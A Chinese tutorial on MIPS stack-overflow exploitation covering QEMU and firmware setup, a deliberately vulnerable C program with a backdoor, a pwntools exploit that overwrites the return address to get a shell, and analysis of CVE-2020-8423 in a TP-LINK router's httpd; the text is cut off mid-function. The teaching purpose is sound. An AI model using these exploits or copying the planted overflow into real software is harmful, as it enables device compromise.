mips架构下二进制漏洞入门笔记,最后调试TP-LINK路由器的一个栈溢出漏洞作为练习。内容较多,请耐心阅读。
环境搭建搭建环境:Ubuntu
工具安装
SquashFS:用于Linux内核的只读文件系统
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
sudo git clone http://github.com/devttys0/sasquatch
cd sasquatch && sudo ./build
Binwalk:貌似是目前唯一可靠的解bin包的工具。
sudo apt-get install binwalk
Ghidra:NAS开源的反汇编工具
安装java环境,直接运行ghidraRun.bat(Windows)或者ghidraRun(Linuxs / Mac OS),中途会要求jdk路径(/usr/libexec/java_home -V 获取jdk路径)
sudo ./ghidraRun
官网下载
简单体验了一下这个工具,比起IDA这个工具在函数和变量自动命名上更加有条理,并且反汇编和伪代码自动对应功能用起来也更方便。最重要的是可以反汇编Mips!
环境安装
Qemu安装
sudo apt-get install qemu
交叉编译环境buildroot
sudo apt-get install libncurses5-dev patch
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot/
make clean
make menuconfig
sudo make
进入menuconfig之后,选择目标架构Mips32(需要注意mips包含大端mips和小端mipsel)。配置结束之后使用make编译工具链即可。
安装完成之后设置环境变量,在/etc/profile结尾加上
export PATH=$PATH:/.../buildroot/output/host/bin;
编译第一个mips程序
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
void backdoor(){
system("/bin/sh");
}
void has_stack(char *src)
{
char dst[20]={0};
strcpy(dst,src);
printf("copy successfully");
}
void main(int argc,char *argv[])
{
has_stack(argv[1]);
}
默认编译小端程序。注意需要加-static静态编译,因为我们qemu运行环境并没有包含C标准库。
$ mipsel-linux-gcc vuln.c -o vuln -static
$ file vuln
vuln: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped
编译大端程序。需要加-EB参数,但是仅仅加-EB会导致ld报错,主要原因是ld也需要加-EB参数。所以我们需要编译和链接分开。如果要编译成共享库,上下加上-shared参数。(ld时还是存在问题)
$ mipsel-linux-gcc -EB -c -static vuln.c -o vuln.o
$ mipsel-linux-ld vuln.o -EB -o vuln
使用qemu-mipsel运行我们的小端程序
$ qemu-mipsel vuln "123"
copy successfully
大端程序可以用H4lo师傅的工具链构造mips编译环境,在里面找到了用apt就能直接安装的交叉编译工具链,以后也不用自己编译了!
sudo apt-get install linux-libc-dev-mipsel-cross
sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross
sudo apt-get install binutils-mipsel-linux-gnu
sudo apt-get install gcc-${VERSION}-mipsel-linux-gnu g -${VERSION}-mips-linux-gnu
用mips-linux-gnu-gcc编译大端程序
$ mips-linux-gnu-gcc vuln.c -o vuln -static
$ file vuln
vuln: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a940ead4f05cbe960bbd685229c01695ef7cea38, not stripped
(*)Qemu运行Mips Linux内核
http://people.debian.org/~aurel32/qemu/mips/ 下载两个包
vmlinux内核文件和debian镜像(建议挂代理,否则很慢),建议使用3.2版本内核,老版本内核在gdbserver远程调试时会出现一些问题。并且请注意你下载的是mips还是mipsel版本。
#wget http://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
wget http://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta
wget http://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
使用qemu运行mips debian,账号和密码都是root。
Qemu有主要如下两种运作模式,User Mode和System Mode。
Qemu系统模式命令如下
$ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:0c:29:ee:39:39 -net tap -nographic
调试路由器固件的运行环境
测试固件版本::DIR-605L A1 FW v1.13 下载地址
首先用binwalk解包官网下载的固件DIR605LA1_FW113b06.bin
binwalk -e DIR605LA1_FW113b06.bin
搜索boa(web服务程序)并且使用qemu-mips运行。首先复制qemu-mips到当前目录,然后用chroot设置根目录,然后用qemu-mips运行boa。不过出现了Not a direcotry的问题,这里需要用qemu-mips-static来运行。
$ cp $(which qemu-mips) ./
$ sudo chroot qemu-mips ./squashfs-root-0/bin/boa
chroot: cannot change root directory to 'qemu-mips': Not a directory
安装qemu-mips-static
sudo apt-get install qemu binfmt-support qemu-user-static
改用qemu-mips-static运行
/squashfs-root-0$ cp $(which qemu-mips) ./
/squashfs-root-0$ sudo chroot . ./qemu-mips-static ./bin/boa
Initialize AP MIB failed!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)
运行web服务的/bin/boa程序发生段错误,提示Initialize AP MIB failed!
通过file文件和你想分析,我们可以知道boa文件动态链接到uclibc链接库,uclibc是应用于嵌入式设备的一种小型C运行库,free和malloc的实现和glibc有一定区别,利用手法也有一些不同,当然这是后话暂且不表。
$ file ./bin/boa
./bin/boa: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size
在Ghidra中搜索Initialize AP MIB failed!,当apmid_init()执行失败了之后就会返回0,导致Web服务启动失败。经过分析apmid_init()来自于动态链接库apmid.so,来自文件根目录下的lib文件夹。又因为,apmid_init()对于我们的测试并没有决定性影响,所以可以考虑用hook的方式,强制让apmid_init()函数值返回1。
iVar1 = apmib_init();
if (iVar1 == 0) {
puts("Initialize AP MIB failed!");
}
使用LD_PRELOAD来Hook函数,首先编写如下代码,并且编译成动态共享库。
#include<stdio.h>
#include<stdlib.h>
int apmib_init()
{
printf("hook apmib_init()
");
return 1;
}
mips-linux-gnu-gcc -Wall -fPIC -shared apmib.c -o apmib-ld.so
-fPIC 作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code),
则产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意
位置,都可以正确的执行
运行时设置环境变量LD_PRELOAD(优先加载)=”/apmib-ld.so”,但是运行又出了一点问题。
$ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa
./bin/boa: can't load library 'libc.so.6'
默认链接库名为libc.so.6,所以我们这里尝试去复制uclibc的libc.so.0,再次运行,发现hook成功了。当然我发现使用LD_PRELOAD=”libc.so.0”参数也可以解决问题。这里大家可以举一反三一下,思考如何将动态链接的mips elf(我们之前都是编译的静态链接程序)通过qemu的user mode运行起来?
cp lib/libc.so.0 lib/libc.so.6
$ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa
hook apmib_init()
Create chklist file error!
Create chklist file error!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)
或者
sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./libc.so.0 ./apmib-ld.so" ./bin/boa
不过还是报了两个错,接下来只需要按照原理的思路,继续去分析,写出最终的链接库版本。
#include<stdio.h>
#include<stdlib.h>
#define MIB_IP_ADDR 170
#define MIB_HW_VER 0x250
#define MIB_CAPTCHA 0x2c1
int apmib_init()
{
printf("hook apmib_init()
");
return 1;
}
int fork(void)
{
return 0;
}
void apmib_get(int code,int* value)
{
switch(code)
{
case MIB_HW_VER:
*value = 0xF1;
break;
case MIB_IP_ADDR:
*value = 0x7F000001;
break;
case MIB_CAPTCHA:
*value = 1;
break;
}
return;
}
QEMU chroot进行本地固件调试
漏洞相关
pwntools是一个CTF框架和漏洞利用开发库。它是用Python编写的,旨在用于快速原型开发和开发,旨在使漏洞利用程序编写尽可能简单。pwntools官网
Gdb-Multiarch :能够调试多个架构(包括Mips)的gdb调试工具
apt-get install gdb-multiarch
安装peda插件
git clone http://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
安装pwndbg插件,安装完成之后进入vim ~/.gdbinit将修改插件为pwndbg
git clone http://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
gdbserver(mips)
可以自己编译mips版本的也可以下载别人编译好的mips版本gdbserver。
git clone http://github.com/rapid7/embedded-tools.git
git clone http://github.com/hugsy/gdb-static
git cloen http://github.com/akpotter/embedded-toolkit
qemu和gdb调试
用户模式调试
$ qemu-mipsel -g 9000 vuln
$ gdb-multiarch -q
(gdb) target remote 127.0.0.1:9000
gdb命令
因为mips架构下peda插件无法正常运行,所以需要复习一下gdb的一些基础命令
break 下断点
delete 删除断点
continue 运行到下一个断点
backtrace 回溯堆栈调用信息
info 输出信息 比如 info f输出frame信息,info locals输出当前栈所有局部变量 info registers输出寄存器内容
输出命令x/20i
输出数据(64位格式)x/20xw
输出数据(32位格式)x/20xg
ROPgadgets
$ git clone http://github.com/JonathanSalwan/ROPgadget.git && cd ROPgadget
$ sudo pip install capstone
$ python setup.py install
$ ROPgadget
Mipsrop
将下载好的python脚本放入ida的plugins目录
http://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py
http://github.com/SeHwa/mipsrop-for-ida7 #ida7
简介:MIPS是一种采取精简指令集(RISC)的指令集架构,是一种高性能的嵌入式CPU架构,广泛被使用在许多电子产品、网络设备、个人娱乐设备与商业设备上(比如龙芯),在路由器领域也被广泛应用。
Mips常用命令
命令格式用途lwlw R1, 0(R2)从存储器中读取一个word存储(Load)到register中swsw R1, 0(R2)把一个word从register中存储(store)到存储器中addiuaddiu R1,R2,#3将一个立即数#3加上R2内容之后存放到目标地址R1oror R1,R2,R3两个寄存器内容相或jalrjalr R1使用寄存器的跳转指令
这里只列举了部分比较典型的几类指令,不过已经足够理解Mips的栈溢出了。
Mips下寄存器的功能
REGISTERNAMEUSAGE$0$zero常量0(constant value 0)$1$at保留给汇编器(Reserved for assembler)$2-$3$v0-$v1函数调用返回值(values for results and expression evaluation)$4-$7$a0-$a3函数调用参数(arguments)$8-$15$t0-$t7暂时的(或随便用的)$16-$23$s0-$s7保存的(或如果用,需要SAVE/RESTORE的)(saved)$24-$25$t8-$t9暂时的(或随便用的)$28$gp全局指针(Global Pointer)$29$sp堆栈指针(Stack Pointer)$30$fp帧指针(Frame Pointer)$31$ra返回地址(return address)
MIPS特点:
- MIPS和MIPSEL是两种架构MIPS是大端序、MIPSEL是小端序。一般来说大端序列是主流的(和x86和arm相反),不过很多CTF题目都是小端序的。(大端调试需要在gdb和pwntools都特别设置,否则默认小端)
- 不支持NX(即使编译选项添加了也没有用)不支持NX即函数的栈/bss都是可执行的,当我们的写入栈中的shellcode能够被执行,大大降低了利用难度。
- 叶子函数和非叶子函数在MIPS体系架构下,函数分为叶子函数和非叶子函数。MIPS函数的调用过程与x86不同,x86中函数A调用函数B时,会将A函数的地址压入堆栈中,等到函数B执行完毕返回A函数时候,再从堆栈中弹出函数A的地址。而MIPS中,如果是叶子函数,与x86是不同的,函数的返回地址是不会压入栈中的,而是会直接存入寄存器$ra中。如果是非叶子函数(即函数中还调用了其他函数),则和x86类似,将地址存入栈中。另外Mips是没有栈底指针的,只有一个$sp指向栈顶,并且不会像x86那样通过pop或者push调整指针,而是采用偏移寻址来访问变量。非叶子函数如图所示,在函数头部会将调用函数的返回地址即$ra存放在栈底(偏移4字节),而在函数快结束时会重新将该值取去出来,放入ra。在这个间段内,如果覆盖了函数栈底,就能够控制程序的流程。 而在叶子函数如下图所示,从函数被调用开始到函数jr ra返回调用函数,数据一直都在$ra寄存器中,所以理论上是无法利用的。但是如果缓冲区溢出的足够多,足够越过本函数的栈底,直到覆盖到调用函数的栈底,那么也是能够利用的。
- 内存中的数据访问(store/load)必须严格对齐(至少4字节)
- 流水线效应:本应顺序执行的几条指令同时执行,只不过处于不同的执行阶段(一般指令执行阶段包括:取指、间指、执行、中断)如下图所示,参考二次重叠执行方式,第一条指令在执行时候,第二条指令在分析,第三条指令在取指。举个栗子,流水线会在跳转指令(jal)导致分支延迟效应,任何一个分支跳转语句后面的那条语句叫做分支延迟槽。当它刚把要跳转到的地址填充好还没完成本条指令时,分支语句后面的那个指令(第三条指令)就执行了。所以下面strrchr函数的参数($a0)实际上来自于$0 而不是来自于$2。这是在看Mips汇编的时候需要注意的。mov $a0,$s2 jalr strrchr //arg $a0 mov $a0,$s0
- 缓存不一致性(Cache incoherency):指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用Sleep来让shellcode从数据Cache刷新到指令Cache,否则会执行失败,不能像x86架构下直接跳转到shellcode,而是需要构造一条ROP链接,先调用sleep,然后在跳转到shellcode。
栈溢出实例
还是用我们一开始的vuln程序进行溢出
qemu运行
qemu-mipsel -g 9000 vuln aaaaaa
gdb远程调试
$ qemu-mipsel -g 9000 vuln
$ gdb-multiarch -q
(gdb) target remote 127.0.0.1:9000
对has_stack函数下断点。首先查看strcpy的两个参数,首先是strcpy的src,lw a1,56(s8)即从s8寄存器(实际上值和sp是相同的,都是指向栈顶)数据偏移56( 56)的数据写入寄存器a1,即通过s8 56偏移可以获得地址0x76fff2c7,这个地址即存放我输入的aaaa数据。然后我们来看dest,即发生写入的地址,这个参数默认被放在a0里,即s8偏移24位。这样我们就能够计算需要多少数据能覆盖缓冲区了。
然后让我们运行到strcpy结束,能够看到我们写入的数据(sp偏移24)。而我们知道返回地址是sp偏移4位,因为这条汇编代码 004003e8 34 00 bf af sw ra,local_4(sp),所以我们只需要写入20 4字节数据就能覆盖返回地址。
即下图所示的位置。
经过实际测试我们输入28 4个字节能够覆盖到返回地址,下图中也显示程序的流程被我们所控制。
接下来让我们写一个简单的exploit,运行exp就能获得shell(不过不是qemu里面的shell,而是系统的shell,这点很奇怪,也许是qemu用户模式并没有挂文件系统和内核的缘故)
from pwn import *
context.binary = "vuln"
back_door=0x0400390
payload=p32(0x12345678)*7 p32(back_door)
print(payload)
io=process(argv=["qemu-mipsel", "./vuln" , payload])
#context.log_level='Debug'
io.interactive()
这里贴上一个链接,方便指令集查阅http://blog.csdn.net/gujing001/article/details/8476685
CVE-2020-8423漏洞设备:TP-LINK TL-WR841N V10
漏洞原因:栈溢出
配置运行环境CVE-2020-8423是TP-LINK路由器中http服务在解析用户HTTP头中字符串没有设置正确的缓冲区大小而导致的栈溢出。
因为手头没有真机,所以我们选择用qemu来模拟路由器。
Qemu System模式运行
首先下载路由器对应版本的固件,然后使用binwalk对固件进行解压。
binwalk -Me TL-WR841N_V10_150310.zip
cd _TL-WR841N_V10_150310.zip.extracted/_wr841nv10_wr841ndv10_en_3_16_9_up_boot(150310).bin.extracted/squashfs-root/
首先我们需要桥接qemu,使得我们能够传输我们的文件系统squashfs-root到虚拟机中。这部分比较麻烦而且容易忘记,所以记录一下。启动系统用下面的命令就可以了(这个固件是32位的,请不要用64位qemu运行)。如果启动不起来或者很慢,重新下一下qcow2,可能之前的某些操作把镜像弄坏了。
sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-2.6.32-5-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic
#更换内核(wget http://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta)
sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-3.2.0-4-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic
映射端口 -redir tcp:80::8080
配置桥接
我们需要将文件系统传入虚拟机中然后运行固件,为了能让qemu和宿主机传输文件,先要配置桥接网络(参考链接)
1.配置桥接网卡
安装bridge-utils和uml-utilities
sudo apt-get install bridge-utils
sudo apt-get install uml-utilities
然后修改/etc/network/interfacces为
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet manual
up ifconfig eth0 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_stp off
bridge_maxwait 1
编辑/etc/qemu-ifup,使qemu在启动中自动将网卡(Default:tap0/tap1)加入到桥接网卡。这是关键的一步。
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
#sudo ifconfig br0 10.211.55.6/24
sleep 3
重启后我们主机的ip会多一个桥接。
2.配置桥接网卡的地址
接着让我们设置桥接的地址。比如我目前宿主机(运行在parralell下)的地址是10.211.55.5,所以我使用命令 ifconfig br0 10.211.55.6/24 up 修改桥接网卡(或者在etc/qemu-ifup中加上sudo ifconfig br0 10.211.55.6/24 ,这样只要qemu开启就会自动设置br0)。
然后我们在qemu中也用ifconfig设置ip为10.211.55.7/24,这样宿主机和qemu就能够相互ping通了。(只要在同一网段即可)
#在虚拟机内部
ifconfig eth0 10.211.55.7/24 up
#在虚拟机外部(设置桥接)
ifconfig br0 10.211.55.6/24 up
需要注意的是:要保证qemu内的ip子网掩码和桥接网卡一致,否则虽然宿主机和qemu都可以访问桥接网卡,但是两者不能相互通信。
尝试去ping宿主机。然后通过scp来传输文件。
root@debian-mips:~# ifconfig eth0 10.211.55.7/24 up
root@debian-mips:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:ee:39:39
inet addr:10.211.55.6 Bcast:10.211.55.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feee:3939/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:2862 (2.7 KiB)
Interrupt:10 Base address:0x1020
#将文件系统传入qemu虚拟机
scp -r squashfs-root/ root@10.211.55.7:~/
传输文件,然后在qemu中就能看到我们传输的文件了。
sshpass -p root scp -r squashfs-root/ root@10.211.55.7:~/
挂载固件的文件系统
挂载系统的proc到我们固件目录下的proc.这样我们的程序在访问一些内核信息时候能够读取到,否则程序可能会运行错误。
# 挂载文件系统
mount --bind /proc squashfs-root/proc
# 更换root目录
chroot . bin/sh
/usr/bin/httpd
运行会报很多错误,参考H4lo师傅的方法hook一下函数来解决问题。将我们编译好的链接库通过scp传入到Qemu虚拟机中。
#mips-linux-gnu-gcc -shared -fPIC hook.c -o hook
#include<stdio.h>
#include<stdlib.h>
int system(const char *command){
printf("HOOK: system("%s")",command);
return 1337;
}
int fork(void){
return 1337;
}
重新运行,遇到/usr/bin/httpd: can't load library 'libc.so.6这种问题,使用软链接解决即可。
# 挂载文件系统
$ mount --bind /proc squashfs-root/proc
# 更换root目录
$ cd squashfs-root/
$ chroot . bin/sh
$ LD_PRELOAD="/hook" /usr/bin/httpd
$ /usr/bin/httpd: can't load library 'libc.so.6'
$ ln -s libc.so.0 libc.so.6
$ LD_PRELOAD="/hook" /usr/bin/httpd
#gdb调试
export LD_PRELOAD="/hook"
#./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd #这个版本的gdb挂起有点问题
./gdbserver.mipsbe 0.0.0.0:2333 /usr/bin/httpd
进入Web后台界面时候,登陆账号(账号密码都是admin)
其他问题
- 设置桥接之后主机无法联网的问题初始化网桥时候将dns给删了,添加一下dns即可。修改文件 /etc/resolvconf/resolv.conf.d/basenameserver 8.8.8.8 nameserver 8.8.4.4 执行更新resolvconf -u
- ssh或者scp报错Unable to negotiate with 10.211.55.8 port 22: no matching host key type found. Their offer: ssh-dss添加参数-oHostKeyAlgorithms= ssh-dss -oKexAlgorithms= diffie-hellman-group1-sha1,比如:$ ssh root@10.211.55.8 -oHostKeyAlgorithms= ssh-dss -oKexAlgorithms= diffie-hellman-group1-sha1 $ sshpass -p root scp -oHostKeyAlgorithms= ssh-dss -oKexAlgorithms= diffie-hellman-group1-sha1 gdbserver-7.12-mips-be root@10.211.55.8:~/
gdb调试
使用scp将gdbserver拷贝到squashfs-root目录下
scp r gdbserver.mipsbe root@10.211.55.7:~/squashfs-root/
使用gdbserver将httpd调试转发到2333端口
export LD_PRELOAD="/hook"
./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd
宿主机的gdb通过remote target进行远程调试。如果报错Remote replied unexpectedly to 'vMustReplyEmpty': timeout。需要将内核版本从vmlinux-2.6.32-5-4kc-malta更换为vmlinux-3.2.0-4-4kc-malta
漏洞分析用Ghidra逆向分析/usr/bin/httpd 文件,stringModify包含三个参数,分别是dst、len、src,很明显是拷贝函数。经过分析可以知道stringModify主要用于拷贝string并且对其进行一定的过滤,包括对转义字符的修改,对于 和 的转义等。但是函数并没有包含对dst的检查,以及对len的限制,如果使用者dst创建的过小就有可能产生栈溢出ou。(就相当于一个对字符有一定转义作用的strcpy)
当然,还有一个最有趣,并且直接导致漏洞的是,生成</br>的时候,写入了4个字节的数字,但是记录长度的iVar3变量却只加了1,导致理论上我们能够输入len长度4倍大数据,这样能够直接对任何调用stringModify的函数产生缓冲区溢出。
参考poc中输入/ (或者/ )会而页面会输出/<br>,(0x0a对应 ,0x0d对应 ),可见我们出触法了生成<br>的代码。下面是这段代码经过stringModify转义分析。注意代码中只对单独存在的 进行转义(连续的 并不会触发这个漏洞点),这就是为什么我们输入的 之间需要用其他符号隔开(经过实验证明,把换成<之类的符号也可以溢出成功)。( 转义成 的部分我没有找到代码,但是理论上应该有一个函数在我们进入StringModify之前实现了转义,其实这个就是前端的基础编码。。)
转义前转义后输出/\// <br>
int stringModify(char *dst,int len,int src)
{
char cVar1; //作为临时存储src单个字节内容
char *pcVar2; //指向src的指针
int iVar3; //返回值(返回String的长度)
/*首先判断拷贝地址dst是否为0,将pcVar2指针指向src 1的位置*/
if ((dst == (char *)0x0) || (pcVar2 = (char *)(src 1), src == 0)) {
iVar3 = -1;
}
else {
iVar3 = 0; //初始化返回值为0
while( true ) {
cVar1 = pcVar2[-1]; //访问拷贝来源src的首部,并且作出判断
if ((cVar1 == '